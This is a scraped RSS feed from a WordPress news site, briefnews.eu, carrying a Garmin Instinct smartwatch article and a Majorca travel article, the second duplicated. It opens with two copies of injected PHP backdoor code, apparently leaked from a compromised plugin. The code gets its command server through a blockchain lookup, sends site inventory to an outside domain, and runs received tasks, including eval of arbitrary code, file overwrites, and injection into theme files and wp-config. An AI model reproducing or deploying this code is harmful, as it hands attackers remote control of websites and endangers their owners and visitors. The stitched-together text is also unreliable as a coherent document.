// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Rugged – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Fri, 12 Oct 2018 11:42:34 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Rugged – Brief News https://briefnews.eu 32 32 Garmin’s rugged $300 smartwatch can last two weeks on a charge https://briefnews.eu/garmins-rugged-300-smartwatch-can-last-two-weeks-on-a-charge/ https://briefnews.eu/garmins-rugged-300-smartwatch-can-last-two-weeks-on-a-charge/#respond Fri, 12 Oct 2018 11:42:34 +0000 http://briefnews.eu/garmins-rugged-300-smartwatch-can-last-two-weeks-on-a-charge/

Garmin has added another entry to its growing list of rugged devices for outdoors enthusiasts. It’s a smartwatch called Instinct, and it was built to comply with military standards for shock and water resistance. It’s also encased in a fiber-reinforced polymer shell with a chemically strengthened and scratch-resistant display. Since it was obviously created for outdoor activities, the device has a 3-axis compass and supports GPS, GLONASS and Galileo, so it can track your location even if you go off the beaten path. To be safe, though, you can plan your route through the Garmin Explore app before you leave, and it will automatically send you on the same route when you head back.

In addition to being able to withstand getting soaked and slammed around, the Instinct can also monitor your heart rate, calories burned, steps taken, distance traveled, stress levels and sleep patterns. It can track different kinds of sports and activities, including hiking, running, biking, swimming, kayaking and skiing. If you pair it with a smartphone, it can receive alerts for texts and emails, as well, so you can keep your phone in your bag while you hike. The device can last for 14 days in smartwatch mode, 16 hours in GPS mode and 40 hours in battery-saving mode. It will set you back $ 300, which is less than half the price of Garmin’s Fenix5 rugged smartwatch, and is now available on Garmin’s website and some retailers.

Source: Garmin Instinct

]]> https://briefnews.eu/garmins-rugged-300-smartwatch-can-last-two-weeks-on-a-charge/feed/ 0 Magical Majorca: Take in Palma and the Island’s rugged northern coast on a sunshine break https://briefnews.eu/magical-majorca-take-in-palma-and-the-islands-rugged-northern-coast-on-a-sunshine-break/ https://briefnews.eu/magical-majorca-take-in-palma-and-the-islands-rugged-northern-coast-on-a-sunshine-break/#respond Mon, 10 Sep 2018 00:42:44 +0000 http://briefnews.eu/magical-majorca-take-in-palma-and-the-islands-rugged-northern-coast-on-a-sunshine-break/

Kids playing

Playa de Muro beach with wooden pier. (Image: GETTY)

I was in Majorca with my family, staying at the Iberostar Alcudia Park on the seafront at Playa de Muro beach, a 40-minute drive from Palma Airport.

And if you can tear yourself away from the fun fit for millionaires in the hotel, it’s an ideal starting point from which to explore all the island has to offer.

The northern coast, where we stayed, has great natural beauty and 31 fine, white-sand beaches.

On the hotel’s doorstep, just half a mile up the road, is the s’Albufera Natural Park, the largest and most important wetland area in the Balearic Islands and a birdwatchers’ paradise.

Related articles

It’s an amazing place to wander and take in the sounds of nature if you tire of the beach and pool for a day.

With 95 species of birds, the park is free to enter but they do ask that you get a permit at reception on arrival.

Entering along the English Bridge, built by British engineer John Frederick Bateman in 1866, there are four trails to choose from that each take about 40 minutes to walk.

Do take your own food and water, though, as it’s very much a back-to-basics ethos with no refreshment facilities or shops.

The Iberostar Alcudia Park.

The Iberostar Alcudia Park. (Image: NC)

If man-made beauty is more your thing, Palma is the place to head. It’s worth checking out the cathedral and, my personal favourite, the Palace of La Almudaina just across the road.

The royal palace was converted from a Muslim alcazar by King James II of Majorca in the 13th Century and is packed with artwork and artefacts spanning hundreds of years.

A stroll through the palm tree-flanked courtyards can fool you into thinking you are royalty yourself as you wander into the lush gardens towards what were once the royal docks.

But don’t get too cocky – the real royals use the palace from time to time and you’ll soon be brought down to earth, given their living quarters are off limits to the likes of you and me.

Related articles

Majorca is a paradise for foodies, with fish dishes a specialty across the island, and Palma is currently experiencing a gastronomical boom with fashionable restaurants popping up all over.

La Rosa Chica specialises in tapas and recommends plenty of vermouth to go with it, but away from the traditional paella, fish and tapas, American gourmet hamburger joints are very fashionable.

Raimundo Burger is the biggest name but if you don’t fancy American fare why not try a taste of Scandinavia?

Wilsons restaurant serves up Nordic cuisine and you can grab a table outside in the sunshine.

If trendy restaurants aren’t your thing, you could always base yourself back at the hotel where the all-inclusive plan gives you access to fine food and drink around the clock.

Fish night was our favourite, with piles of mussels, lobster and langoustines, all caught that day, on offer at the buffet.

Alcudia Bay is a holiday resort in itself and many visitors never leave the compound during their stay, as their every whim is attended to by the amazing staff.

My family isn’t the most energetic while away but this year, thanks to the infectious, fun atmosphere at the hotel, things were different.

Related articles

This was in large part because of the ambience generated by the ever-smiling and always hard-working Star Camp entertainment team, which seemed to run the place.

Newly relaunched by Iberostar across their hotels, Star Camp also provides 140 activities, as wide-ranging as cookery and film-making, for children aged between four and 17.

And unlike at some hotels, they don’t badger you to take part every five minutes while you are trying to finish your Dan Brown novel or enjoying a cocktail by the pool.

As our week in the sun drew to a close I was, however, offered the opportunity to wear the life-sized banana suit costume of kids’ disco night favourite, Starky – but I tactfully declined.

After all, it’s fine to have fun on your holiday… but never a good idea to go bananas.

Village markets

Village markets are the best place to buy local produce, such as olives. (Image: NC)

1 Take a boat trip on the waters between Majorca and Menorca then dive down to check out the wrecks of scores of ships that have fallen victim to the seas.

2 If birdwatching is your thing, the north of the island is currently a hotspot for species including Cory’s shearwater as well as the Balearic shearwater.

3 Market day in any Majorcan village has a real buzz. Street sellers from across the island set up stalls to offer everything from fruit and vegetables to designer leather goods.

4 Buy a bottle (or two) of the local wine. Wineries currently making a name for themselves are Vinyes Mortitx, Son Ramón and Ca’n Vidalet.

5 Or if you’re a beer drinker, try the island’s own offerings. It is currently enjoying a craft beer boom thanks to brands such as Forastera and Toutatis.

Majorca in the sea

Palma is experiencing a gastronomical boom. (Image: NC)

6 Visit the Palace of La Almudaina. Formerly an Islamic fort in Palma, it was converted into a residence for Majorcan monarchs at the end of the 13th Century.

7 Explore La Casa de Robert Graves, the home of the British poet and novelist who moved to Deia in 1929. On show are original period furnishings and objects that belonged to the writer.

8 The art scene is exploding on the island, especially in Palma, and a must-visit is Es Baluard, the most important modern art museum in the Balearics.

9 Take a hike around one of the seven specially designed, picturesque walking routes that were the idea of ecology activist Guillem Ferrer.

10 Get to grips with kitesurfing. The Bay of Alcudia has a thermal wind that is perfect for this addictive sport.

Way to go

A double room at Iberostar Alcudia Park, on a room-only basis, costs from €256.70 (£228.80) and on an all-inclusive basis from €358.70 (£319.71).

For more on Iberostar hotels, visit iberostar.com.

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]]> https://briefnews.eu/magical-majorca-take-in-palma-and-the-islands-rugged-northern-coast-on-a-sunshine-break/feed/ 0 Magical Majorca: Take in Palma and the Island’s rugged northern coast on a sunshine break https://briefnews.eu/magical-majorca-take-in-palma-and-the-islands-rugged-northern-coast-on-a-sunshine-break/ https://briefnews.eu/magical-majorca-take-in-palma-and-the-islands-rugged-northern-coast-on-a-sunshine-break/#respond Mon, 10 Sep 2018 00:42:44 +0000 http://briefnews.eu/magical-majorca-take-in-palma-and-the-islands-rugged-northern-coast-on-a-sunshine-break/

Kids playing

Playa de Muro beach with wooden pier. (Image: GETTY)

I was in Majorca with my family, staying at the Iberostar Alcudia Park on the seafront at Playa de Muro beach, a 40-minute drive from Palma Airport.

And if you can tear yourself away from the fun fit for millionaires in the hotel, it’s an ideal starting point from which to explore all the island has to offer.

The northern coast, where we stayed, has great natural beauty and 31 fine, white-sand beaches.

On the hotel’s doorstep, just half a mile up the road, is the s’Albufera Natural Park, the largest and most important wetland area in the Balearic Islands and a birdwatchers’ paradise.

Related articles

It’s an amazing place to wander and take in the sounds of nature if you tire of the beach and pool for a day.

With 95 species of birds, the park is free to enter but they do ask that you get a permit at reception on arrival.

Entering along the English Bridge, built by British engineer John Frederick Bateman in 1866, there are four trails to choose from that each take about 40 minutes to walk.

Do take your own food and water, though, as it’s very much a back-to-basics ethos with no refreshment facilities or shops.

The Iberostar Alcudia Park.

The Iberostar Alcudia Park. (Image: NC)

If man-made beauty is more your thing, Palma is the place to head. It’s worth checking out the cathedral and, my personal favourite, the Palace of La Almudaina just across the road.

The royal palace was converted from a Muslim alcazar by King James II of Majorca in the 13th Century and is packed with artwork and artefacts spanning hundreds of years.

A stroll through the palm tree-flanked courtyards can fool you into thinking you are royalty yourself as you wander into the lush gardens towards what were once the royal docks.

But don’t get too cocky – the real royals use the palace from time to time and you’ll soon be brought down to earth, given their living quarters are off limits to the likes of you and me.

Related articles

Majorca is a paradise for foodies, with fish dishes a specialty across the island, and Palma is currently experiencing a gastronomical boom with fashionable restaurants popping up all over.

La Rosa Chica specialises in tapas and recommends plenty of vermouth to go with it, but away from the traditional paella, fish and tapas, American gourmet hamburger joints are very fashionable.

Raimundo Burger is the biggest name but if you don’t fancy American fare why not try a taste of Scandinavia?

Wilsons restaurant serves up Nordic cuisine and you can grab a table outside in the sunshine.

If trendy restaurants aren’t your thing, you could always base yourself back at the hotel where the all-inclusive plan gives you access to fine food and drink around the clock.

Fish night was our favourite, with piles of mussels, lobster and langoustines, all caught that day, on offer at the buffet.

Alcudia Bay is a holiday resort in itself and many visitors never leave the compound during their stay, as their every whim is attended to by the amazing staff.

